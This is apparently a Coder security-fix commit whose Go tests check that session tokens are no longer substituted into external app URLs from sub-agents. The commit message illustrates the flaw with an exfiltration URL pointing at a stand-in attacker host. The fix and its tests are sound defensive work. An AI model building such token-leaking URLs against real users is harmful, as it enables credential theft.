fix: prevent session token exfiltration via external app URLs (#26146)

`coder open app` substituted the user's session token into any external workspace-app URL containing `$SESSION_TOKEN` before opening, letting a malicious sub-agent exfiltrate the token via a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Substitution is now restricted to URLs from top-level (template-authored) agents. Sub-agent URLs that still contain `$SESSION_TOKEN` are printed for the user to inspect and substitute manually rather than opened automatically. Sub-agent URLs without the placeholder are unaffected.
2026-09-24 15:04:27 +08:00 · 2026-06-11 09:58:16 -06:00
parent a4c867f11b
commit 9b550cbfe9
3 changed files with 121 additions and 37 deletions
@@ -1,7 +1,9 @@
 package cli_test

 import (
+	"bytes"
 	"context"
+	"database/sql"
 	"net/url"
 	"os"
 	"path"
@@ -21,6 +23,9 @@ import (
 	"github.com/coder/coder/v2/agent/agenttest"
 	"github.com/coder/coder/v2/cli/clitest"
 	"github.com/coder/coder/v2/coderd/coderdtest"
+	"github.com/coder/coder/v2/coderd/database"
+	"github.com/coder/coder/v2/coderd/database/dbfake"
+	"github.com/coder/coder/v2/coderd/database/dbgen"
 	"github.com/coder/coder/v2/coderd/database/dbtime"
 	"github.com/coder/coder/v2/codersdk"
 	"github.com/coder/coder/v2/provisionersdk/proto"
@@ -703,14 +708,16 @@ func TestOpenApp(t *testing.T) {
 		w.RequireContains("region not found")
 	})

-	t.Run("ExternalAppSessionToken", func(t *testing.T) {
+	t.Run("ExternalAppOnTopLevelAgentSubstitutes", func(t *testing.T) {
 		t.Parallel()

+		// Apps on the top-level (template-defined) agent are trusted, so the
+		// CLI substitutes $SESSION_TOKEN regardless of scheme.
 		client, ws, _ := setupWorkspaceForAgent(t, func(agents []*proto.Agent) []*proto.Agent {
 			agents[0].Apps = []*proto.App{
 				{
 					Slug:     "app1",
-					Url:      "https://example.com/app1?token=$SESSION_TOKEN",
+					Url:      "vscode://coder.coder-remote/open?token=$SESSION_TOKEN",
 					External: true,
 				},
 			}
@@ -724,4 +731,92 @@ func TestOpenApp(t *testing.T) {
 		w.RequireContains("test.open-error")
 		w.RequireContains(client.SessionToken())
 	})
+
+	t.Run("ExternalAppOnSubAgentWithPlaceholderPrintsURLAndDoesNotOpen", func(t *testing.T) {
+		t.Parallel()
+
+		// Sub-agent app URLs are attacker-influenceable through workspace
+		// configuration and runtime registration. The CLI must not
+		// substitute the session token, and must not hand the URL to the
+		// OS open handler. The URL is printed to stdout so a user who
+		// trusts the source can substitute and open it manually.
+		ownerClient, store := coderdtest.NewWithDatabase(t, nil)
+		ownerClient.SetLogger(testutil.Logger(t).Named("client"))
+		first := coderdtest.CreateFirstUser(t, ownerClient)
+		userClient, user := coderdtest.CreateAnotherUserMutators(t, ownerClient, first.OrganizationID, nil, func(r *codersdk.CreateUserRequestWithOrgs) {
+			r.Username = "subagentowner"
+		})
+		r := dbfake.WorkspaceBuild(t, store, database.WorkspaceTable{
+			Name:           "subagentws",
+			OrganizationID: first.OrganizationID,
+			OwnerID:        user.ID,
+		}).WithAgent().Do()
+
+		require.NotEmpty(t, r.Agents, "expected at least one workspace agent")
+		mainAgent := r.Agents[0]
+
+		subAgent := dbgen.WorkspaceSubAgent(t, store, mainAgent, database.WorkspaceAgent{
+			Name: "devcontainer",
+		})
+		_ = dbgen.WorkspaceApp(t, store, database.WorkspaceApp{
+			AgentID:  subAgent.ID,
+			Slug:     "subapp",
+			External: true,
+			Url:      sql.NullString{Valid: true, String: "vscode://coder.coder-remote/open?token=$SESSION_TOKEN"},
+		})
+
+		inv, root := clitest.New(t, "open", "app", r.Workspace.Name+".devcontainer", "subapp", "--test.open-error")
+		clitest.SetupConfig(t, userClient, root)
+		var stdout, stderr bytes.Buffer
+		inv.Stdout = &stdout
+		inv.Stderr = &stderr
+
+		w := clitest.StartWithWaiter(t, inv)
+		w.RequireSuccess()
+		require.NotContains(t, stderr.String(), "test.open-error")
+		require.NotContains(t, stdout.String(), "test.open-error")
+		require.Contains(t, stdout.String(), "vscode://coder.coder-remote/open?token=$SESSION_TOKEN")
+		require.NotContains(t, stdout.String(), userClient.SessionToken())
+		require.Contains(t, stderr.String(), "substitute")
+	})
+
+	t.Run("ExternalAppOnSubAgentWithoutPlaceholderOpensAsIs", func(t *testing.T) {
+		t.Parallel()
+
+		// Sub-agent app URLs that don't reference $SESSION_TOKEN carry no
+		// token to leak. The CLI auto-opens them like any other external
+		// app; only placeholder-bearing URLs are gated.
+		ownerClient, store := coderdtest.NewWithDatabase(t, nil)
+		ownerClient.SetLogger(testutil.Logger(t).Named("client"))
+		first := coderdtest.CreateFirstUser(t, ownerClient)
+		userClient, user := coderdtest.CreateAnotherUserMutators(t, ownerClient, first.OrganizationID, nil, func(r *codersdk.CreateUserRequestWithOrgs) {
+			r.Username = "subagentowner2"
+		})
+		r := dbfake.WorkspaceBuild(t, store, database.WorkspaceTable{
+			Name:           "subagentws2",
+			OrganizationID: first.OrganizationID,
+			OwnerID:        user.ID,
+		}).WithAgent().Do()
+
+		require.NotEmpty(t, r.Agents, "expected at least one workspace agent")
+		mainAgent := r.Agents[0]
+
+		subAgent := dbgen.WorkspaceSubAgent(t, store, mainAgent, database.WorkspaceAgent{
+			Name: "devcontainer",
+		})
+		_ = dbgen.WorkspaceApp(t, store, database.WorkspaceApp{
+			AgentID:  subAgent.ID,
+			Slug:     "subapp",
+			External: true,
+			Url:      sql.NullString{Valid: true, String: "https://example.com/some/path"},
+		})
+
+		inv, root := clitest.New(t, "open", "app", r.Workspace.Name+".devcontainer", "subapp", "--test.open-error")
+		clitest.SetupConfig(t, userClient, root)
+
+		w := clitest.StartWithWaiter(t, inv)
+		w.RequireError()
+		w.RequireContains("test.open-error")
+		w.RequireContains("https://example.com/some/path")
+	})
 }